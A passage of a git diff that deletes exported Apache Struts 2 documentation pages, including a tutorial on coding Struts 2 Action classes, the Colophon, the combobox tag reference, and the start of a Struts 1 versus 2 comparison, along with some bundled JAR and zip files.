-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <link href='https://struts.apache.org/highlighter/style/shCoreStruts.css' rel='stylesheet' type='text/css' />
-    <link href='https://struts.apache.org/highlighter/style/shThemeStruts.css' rel='stylesheet' type='text/css' />
-    <script src='https://struts.apache.org/highlighter/js/shCore.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushPlain.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushXml.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJava.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJScript.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushGroovy.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushBash.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushCss.js' type='text/javascript'></script>
-    <script type="text/javascript">
-        SyntaxHighlighter.defaults['toolbar'] = false;
-        SyntaxHighlighter.all();
-    </script>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>Coding Struts 2 Actions</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="tutorials.html">Tutorials</a>&nbsp;&gt;&nbsp;<a href="getting-started.html">Getting Started</a>&nbsp;&gt;&nbsp;<a href="how-to-create-a-struts-2-web-application.html">How To Create A Struts 2 Web Application</a>&nbsp;&gt;&nbsp;<a href="create-struts-2-web-application-with-artifacts-in-web-inf-lib-and-use-ant-to-build-the-application.html">Create Struts 2 Web Application With Artifacts In WEB-INF lib and Use Ant To Bui [...]
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">Coding Struts 2 Actions</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=14811879">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=14811879">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=14811879">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=14811879">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=14811879">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=14811879">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent"><div class="confluence-information-macro confluence-information-macro-information"><span class="aui-icon aui-icon-small aui-iconfont-info confluence-information-macro-icon"></span><div class="confluence-information-macro-body"><p>This tutorial assumes you've completed the <a shape="rect" href="using-struts-2-tags.html">Using Struts 2 Tags</a> tutorial and have a working using_tags project. The example code for this tutorial, coding_action, is avail [...]
-<pre class="brush: xml; gutter: false; theme: Default" style="font-size:12px;">&lt;action name="hello" class="org.apache.struts.helloworld.action.HelloWorldAction" method="execute"&gt;
-	&lt;result name="success"&gt;/HelloWorld.jsp&lt;/result&gt;
-&lt;/action&gt;
-
-</pre>
-</div></div><p>The Action mapping above also specified that if the execute method of class HelloWorldAction returns success then the view HelloWorld.jsp will be returned to the browser.</p><p>This tutorial will introduce you to the basics of writing the controller logic in the Action class.</p><h3 id="CodingStruts2Actions-Struts2ActionClasses">Struts 2 Action Classes</h3><p>Action classes act as the controller in the MVC pattern. Action classes respond to a user action, execute business  [...]
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">public String execute() throws Exception {
-		
-	messageStore = new MessageStore() ;
-		
-	helloCount++;
-		
-	return SUCCESS;
-
-}
-
-</pre>
-</div></div><div class="confluence-information-macro confluence-information-macro-information"><span class="aui-icon aui-icon-small aui-iconfont-info confluence-information-macro-icon"></span><div class="confluence-information-macro-body"><p>Note that method execute declares it throws an Exception. We'll cover in a later tutorial how to configure Struts to handle any Exceptions thrown from the Action classes methods.</p></div></div><h3 id="CodingStruts2Actions-ProcessingFormInputInTheAct [...]
-<pre class="brush: html; gutter: false; theme: Default" style="font-size:12px;">&lt;s:form action="hello"&gt;
-
-	&lt;s:textfield name="userName" label="Your name" /&gt;
-	
-	&lt;s:submit value="Submit" /&gt;
-
-&lt;/s:form&gt;
-
-
-</pre>
-</div></div><p>Make a note of the value of the name attribute for the Struts 2 textfield tag, which is userName. When the user clicks on the submit button for the above form, the action hello will be executed (hello.action). The form field values will be posted to the Struts 2 Action class (HelloWorldAction). The Action class may automatically receive those form field values provided it has a public set method that matches the form field name value.</p><p>So for the HelloWorldAction clas [...]
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">	private String userName;
-
-	public String getUserName() {
-		return userName;
-	}
-
-	public void setUserName(String userName) {
-		this.userName = userName;
-	}
-
-</pre>
-</div></div><p>To personalize the MessageStore message (recall that class MessageStore is storing the message to display) add the following Java code to the HelloWorldAction's execute method after the statement that instantiates the MessageStore object.</p><div class="code panel pdl" style="border-width: 1px;"><div class="codeHeader panelHeader pdl" style="border-bottom-width: 1px;"><b>Add userName value to message</b></div><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">if (userName != null) {
-			
-	messageStore.setMessage( messageStore.getMessage() + " " + userName);
-			
-}
-
-</pre>
-</div></div><p>Now build and deploy the application. Enter your name in the form and click the submit button. You should see the following page.<br clear="none"> <span class="confluence-embedded-file-wrapper"><img class="confluence-embedded-image" src="coding-struts-2-actions.data/personalhello.png"></span></p><p>When the form is submitted, Struts will call any set methods of the HelloWorldAction class that match the form field names. So in this example method setUserName was called and  [...]
-        </div>
-
-                    <div class="tabletitle">
-                Children
-            <span class="smalltext" id="show" style="display: inline;">
-              <a href="javascript:showChildren()">Show Children</a></span>
-            <span class="smalltext" id="hide" style="display: none;">
-              <a href="javascript:hideChildren()">Hide Children</a></span>
-            </div>
-            <div class="greybox" id="children" style="display: none;">
-                                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                            </div>
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/colophon.data/autoexport-0.14-dev.jar b/content/docs/colophon.data/autoexport-0.14-dev.jar
deleted file mode 100644
index 068c775..0000000
Binary files a/content/docs/colophon.data/autoexport-0.14-dev.jar and /dev/null differ
diff --git a/content/docs/colophon.data/snippet-patch.zip b/content/docs/colophon.data/snippet-patch.zip
deleted file mode 100644
index 8c19e08..0000000
Binary files a/content/docs/colophon.data/snippet-patch.zip and /dev/null differ
diff --git a/content/docs/colophon.data/snippet-r280.jar b/content/docs/colophon.data/snippet-r280.jar
deleted file mode 100644
index 0af66e2..0000000
Binary files a/content/docs/colophon.data/snippet-r280.jar and /dev/null differ
diff --git a/content/docs/colophon.data/snippet-src.zip b/content/docs/colophon.data/snippet-src.zip
deleted file mode 100644
index d001b5e..0000000
Binary files a/content/docs/colophon.data/snippet-src.zip and /dev/null differ
diff --git a/content/docs/colophon.html b/content/docs/colophon.html
deleted file mode 100644
index 2c18718..0000000
--- a/content/docs/colophon.html
+++ /dev/null
@@ -1,148 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>Colophon</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="guides.html">Guides</a>&nbsp;&gt;&nbsp;<a href="contributors-guide.html">Contributors Guide</a>&nbsp;&gt;&nbsp;<a href="colophon.html">Colophon</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">Colophon</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=13822">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=13822">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=13822">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=13822">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=13822">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=13822">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent"><p>The Struts 2 documentation is <a shape="rect" class="external-link" href="http://confluence.twdata.org/" rel="nofollow">maintained online</a> and posted to the <a shape="rect" class="external-link" href="http://struts.apache.org/2.x/docs/home.html">Apache Struts web site</a> on a regular basis. A snapshot of the documentation is bundled with each distribution, so that people are able to refer to the documentation for that distribution.</p>
-
-<div class="confluence-information-macro confluence-information-macro-note"><span class="aui-icon aui-icon-small aui-iconfont-warning confluence-information-macro-icon"></span><div class="confluence-information-macro-body"><p>The online version represents the latest development version ("nightly build") and may document features <strong>not</strong> available in your release. See the documentation bundled with each distribution for the best information about the features available in tha [...]
-
-<p>The mechanism we use to integrate is  wiki snapshot with the website distribution is covered by a <a shape="rect" href="http://issues.apache.org/jira/browse/WW-1346">JIRA ticket</a>. </p>
-
-<p>The HTML version of the documentation is maintained using the <a shape="rect" class="external-link" href="http://could.it/autoexport/" rel="nofollow">AutoExport</a> plugin. (JAR annexed.)</p>
-
-<p>The documentation "single sources" code segments using the <a shape="rect" class="external-link" href="https://opensymphony.dev.java.net/source/browse/opensymphony/wiki/snippet/" rel="nofollow">Snippet</a> macro. (JAR annexed.) For more about using snippets, see the <a shape="rect" href="documentation-style-guide.html">Documentation Style Guide</a>.</p>
-
-<h2 id="Colophon-Next:">Next: <a shape="rect" href="documentation-style-guide.html">Documentation Style Guide</a></h2></div>
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/combobox.html b/content/docs/combobox.html
deleted file mode 100644
index edc2f56..0000000
--- a/content/docs/combobox.html
+++ /dev/null
@@ -1,215 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <link href='https://struts.apache.org/highlighter/style/shCoreStruts.css' rel='stylesheet' type='text/css' />
-    <link href='https://struts.apache.org/highlighter/style/shThemeStruts.css' rel='stylesheet' type='text/css' />
-    <script src='https://struts.apache.org/highlighter/js/shCore.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushPlain.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushXml.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJava.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJScript.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushGroovy.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushBash.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushCss.js' type='text/javascript'></script>
-    <script type="text/javascript">
-        SyntaxHighlighter.defaults['toolbar'] = false;
-        SyntaxHighlighter.all();
-    </script>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>combobox</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="guides.html">Guides</a>&nbsp;&gt;&nbsp;<a href="tag-developers-guide.html">Tag Developers Guide</a>&nbsp;&gt;&nbsp;<a href="struts-tags.html">Struts Tags</a>&nbsp;&gt;&nbsp;<a href="tag-reference.html">Tag Reference</a>&nbsp;&gt;&nbsp;<a href="ui-tag-reference.html">UI Tag Reference</a>&nbsp;&gt;&nbsp;<a href="combobox.html">combobox</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">combobox</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=14259">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=14259">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=14259">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=14259">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=14259">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=14259">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent"><div class="confluence-information-macro confluence-information-macro-note"><span class="aui-icon aui-icon-small aui-iconfont-warning confluence-information-macro-icon"></span><div class="confluence-information-macro-body"><p>Please make sure you have read the <a shape="rect" href="tag-syntax.html">Tag Syntax</a> document and understand how tag attribute syntax works.</p></div></div>
-
-<h2 id="combobox-Description">Description</h2>
-
-<p></p><p>
-The combo box is basically an HTML INPUT of type text and HTML SELECT grouped together to give you a combo box
-functionality. You can place text in the INPUT control by using the SELECT control or type it in directly in
-the text field.
-</p>
-
-<p></p><p>
-In this example, the SELECT will be populated from id=year attribute. Counter is itself an Iterator. It will
-span from first to last. The population is done via javascript, and requires that this tag be surrounded by a
-&lt;form&gt;.
-</p>
-
-<p></p><p>
-Note that unlike the &lt;s:select/&gt; tag, there is no ability to define the individual &lt;option&gt; tags' id attribute
-or content separately. Each of these is simply populated from the toString() method of the list item. Presumably
-this is because the select box isn't intended to actually submit useful data, but to assist the user in filling
-out the text field.
-</p>
-
-<h2 id="combobox-Parameters">Parameters</h2>
-
-<p><table width="100%"><tr><td colspan="6" rowspan="1"><h4>Dynamic Attributes Allowed:</h4> false</td></tr><tr><td colspan="6" rowspan="1">&#160;</td></tr><tr><th align="left" colspan="1" rowspan="1" valign="top"><h4>Name</h4></th><th align="left" colspan="1" rowspan="1" valign="top"><h4>Required</h4></th><th align="left" colspan="1" rowspan="1" valign="top"><h4>Default</h4></th><th align="left" colspan="1" rowspan="1" valign="top"><h4>Evaluated</h4></th><th align="left" colspan="1" rows [...]
-
-<h2 id="combobox-Examples">Examples</h2>
-
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<script class="brush: xml; gutter: false; theme: Confluence" type="syntaxhighlighter"><![CDATA[
-JSP:
-&lt;-- Example One --&gt;
-&lt;s:bean name=&quot;struts.util.Counter&quot; var=&quot;year&quot;&gt;
-  &lt;s:param name=&quot;first&quot; value=&quot;text(&#39;firstBirthYear&#39;)&quot;/&gt;
-  &lt;s:param name=&quot;last&quot; value=&quot;2000&quot;/&gt;
-
-  &lt;s:combobox label=&quot;Birth year&quot; size=&quot;6&quot; maxlength=&quot;4&quot; name=&quot;birthYear&quot; list=&quot;#year&quot;/&gt;
-&lt;/s:bean&gt;
-
-&lt;-- Example Two --&gt;
-&lt;s:combobox
-    label=&quot;My Favourite Fruit&quot;
-    name=&quot;myFavouriteFruit&quot;
-    list=&quot;{&#39;apple&#39;,&#39;banana&#39;,&#39;grape&#39;,&#39;pear&#39;}&quot;
-    headerKey=&quot;-1&quot;
-    headerValue=&quot;--- Please Select ---&quot;
-    emptyOption=&quot;true&quot;
-    value=&quot;banana&quot; /&gt;
-
-&lt;-- Example Two --&gt;
-&lt;s:combobox
-   label=&quot;My Favourite Color&quot;
-   name=&quot;myFavouriteColor&quot;
-   list=&quot;#{&#39;red&#39;:&#39;red&#39;,&#39;green&#39;:&#39;green&#39;,&#39;blue&#39;:&#39;blue&#39;}&quot;
-   headerKey=&quot;-1&quot;
-   headerValue=&quot;--- Please Select ---&quot;
-   emptyOption=&quot;true&quot;
-   value=&quot;green&quot; /&gt;
-
-Velocity:
-#tag( ComboBox &quot;label=Birth year&quot; &quot;size=6&quot; &quot;maxlength=4&quot; &quot;name=birthYear&quot; &quot;list=#year&quot; )
-]]></script>
-</div></div></div>
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/comparing-struts-1-and-2.html b/content/docs/comparing-struts-1-and-2.html
deleted file mode 100644
index ace5e9f..0000000
--- a/content/docs/comparing-struts-1-and-2.html
+++ /dev/null
@@ -1,147 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>Comparing Struts 1 and 2</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="guides.html">Guides</a>&nbsp;&gt;&nbsp;<a href="migration-guide.html">Migration Guide</a>&nbsp;&gt;&nbsp;<a href="comparing-struts-1-and-2.html">Comparing Struts 1 and 2</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
